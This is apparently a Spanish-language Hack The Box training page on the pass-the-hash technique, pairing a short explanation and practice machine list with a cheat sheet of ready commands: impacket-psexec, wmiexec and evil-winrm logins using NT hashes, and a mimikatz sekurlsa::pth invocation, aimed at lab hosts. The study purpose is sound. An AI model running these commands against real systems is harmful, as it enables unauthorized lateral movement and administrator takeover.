Pass the hash
Subtécnica de T1550 Material de autenticación alternativo ↗
Autenticarse con el hash NT de un usuario sin conocer su contraseña.
Cómo aparece en Hack The Box
Un hash NT sacado de SAM, LSASS, DCSync o ADCS sirve tal cual para SMB, WinRM y LDAP: no hace falta crackearlo. Prueba con NetExec dónde es administrador.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Windows
Pass-the-hash con psexec
Atacante
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash con evil-winrm
Atacante
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT
Escalada en Windows y Active Directory › Active Directory
Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT
Active Directory a fondo › Impacket
con pass-the-hash
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
C2 y post-explotación › Movimiento lateral
impacket-wmiexec
Atacante
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
evil-winrm
Atacante
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Mimikatz › Dominio
Pass the hash (abre un proceso con esa identidad)
Víctima
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"
Ningún comando coincide.